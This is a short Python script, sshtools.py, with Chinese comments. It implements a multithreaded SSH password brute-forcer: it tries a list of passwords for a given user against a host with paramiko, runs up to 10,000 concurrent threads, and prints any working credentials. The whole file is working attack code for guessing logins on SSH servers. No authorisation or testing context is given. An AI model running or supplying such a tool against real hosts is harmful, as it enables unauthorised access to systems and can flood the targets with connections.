#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""  
@Project : pythonProject1
@File : sshtools.py
@Author : 蓝精灵
@Time : 2025/11/2 19:25  
@脚本说明 : 
"""
import paramiko
import concurrent.futures


def ssh_brute(ip_host, port=22, username="root", password=""):
    try:
        ssh_client = paramiko.SSHClient()
        # 忽略自主加载连接策略 会识别使用账号密码 还是公私钥
        ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        # 创建连接
        ssh_client.connect(ip_host, port, username, password)
        ssh_client.get_transport().banner_timeout = 60
        # 判断登录是否成功
        if ssh_client.get_transport().is_active():
            print(f"[+] SSH存在弱口令 {ip_host} => {username} / {password}")
        # 必须有关闭 防止ssh连接数过多
        ssh_client.close()
    except:
        pass


def ssh_brute_run(ip_host, user, port, passwds):
    with concurrent.futures.ThreadPoolExecutor(max_workers=10000) as executor:
        for passwd in passwds:
            executor.submit(ssh_brute, ip_host, port, user.strip(), passwd.strip())